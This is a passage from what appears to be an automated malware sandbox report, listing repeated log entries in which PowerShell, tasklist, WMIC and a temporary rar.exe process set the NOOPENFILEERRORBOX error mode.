              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\tasklist.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\tasklist.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
              Source: C:\Windows\System32\wbem\WMIC.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\wbem\WMIC.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\wbem\WMIC.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\wbem\WMIC.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
